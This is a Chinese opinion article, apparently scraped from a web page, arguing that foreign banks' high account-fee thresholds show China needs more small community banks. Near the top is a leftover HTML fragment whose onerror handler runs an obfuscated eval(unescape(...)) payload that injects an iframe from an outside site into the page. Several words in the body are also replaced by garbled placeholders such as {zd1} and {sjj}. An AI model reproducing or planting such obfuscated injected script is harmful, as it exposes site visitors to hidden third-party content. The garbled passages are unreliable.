“外资银行高开户门槛”启示了什么？

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zh_160_600.html%20frameBorder%3D0%20width%3D160%20scrolling%3Dno%20height%3D600%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

　　４月２３日，汇丰银行、花旗银行、渣打银行和东亚银行等四家外资银行正式向本地居民提供全面人民币服务。这也意味着，从即日起，部分城市的境内居民就可以到外资银行去存钱了，而除了简单存取款业务外，本地居民也可以到外资银行申请住房按揭及人民币投资理财等金融服务。

　　与此同时，４家外资银行虽然均无起存金额要求，但相应的账户收费门槛却非常惊人：如汇丰银行的理财账户，要求日均总余额５０万元以上，方可免费享受专属服务，否则需支付３００元月费；至于一般个人账户，日均余额也要１０万以上，否则将收取１５０元的月费；即使其中门槛{zd1}的东亚银行的收费门槛也是，理财账户和一般账户，日均资产分别不低于２０万和５０００元，相应的管理费为每年２００元和每月１０元。

　　无疑，这是一个让许多国内居民看了难免有些失望的开户门槛。因为很明显，与现有国内银行的收费标准相比，外资银行的上述账户门槛，实际上已经高出了几十乃至几百倍，远远超出国内一般居民的承受能力。如统计显示，目前我国城乡居民储蓄存款总额不过１６万亿，也即人均存款仅１万多一点，而城镇居民人均可支配收入亦不过１．１万元。显然，这样的收入和存款水平，是很难满足外资银行动辄以十万计的免费服务门槛的。而此前有调查显示，国内居民普遍对外资银行有较高的期望，７７．８％的人表示"会选择外资银行"。现在看来，这种期望多少是显得有些一厢情愿或者说是过于乐观了。

　　不过，对于此次外资银行正式全面开展人民币服务，笔者以为，除了简单的失望和望"门"兴叹外，我们还是可以从中得到一些有益的启示的。

　　首先，外资银行的高开户门槛事实，至少可以告诉我们这样一个其实非常简单的道理：外资银行并非慈善家更非救世主，对它们能给我们带来的好处，不应作过高和不切实际的期待。毕竟，不管怎么说，作为一个商业机构、金融企业，在商言利都是其本性，因此，无论内资也好外资也罢，利益、利润都是它们的根本追求。这诚如汇丰银行有关人士对记者坦言的："天下没有免费的午餐"。

　　而尤为重要的是，外资银行的高开户门槛还启示我们，要解决当前普通居民尤其是那些穷人普遍存在的金融服务不便问题，指望这些以大银行为主的外资银行的进入，是靠不住的。很明显，时下有实力进入国内市场的外资银行，都是公认的境外大银行，如花旗、汇丰，甚至还是{sjj}的金融巨头。而众所周知，世界普遍的金融服务规律是，无论存款、理财、还是放贷，大银行总是更青睐于xx大客户，而社区性的小银行，才是普通居民、穷人的{sx}金融服务者。如在金融服务发达的美国，与数十家大银行并存的就有多达几千家的小型社区银行，而这些小银行的生存之道正在于，为那些当地普通社区居民提供大银行不愿意或者不屑的廉价金融服务。

　　发达富裕如美国，尚且如此，发展中且相对更贫困的我国，当然更应如此。但现在我们的问题就在于，无论既有的国内银行，还是刚进入的外资银行，主要的都是大银行，进而言之，目前我国的银行格局，不仅总数仍然偏少，而且结构分布也不尽合理--小银行无论数量和比例都太过低微（即使算上股份制银行和城市商业银行，总数也不过一两百家）。而要解决这个问题，显然尚需进一步打破银行业的垄断格局、降低市场准入壁垒，加快国内金融市场开放。尤其对于银行业已全面对外开放，外资银行纷纷涌入的今天来说，尽快做到这一点，无疑更显得刻不容缓。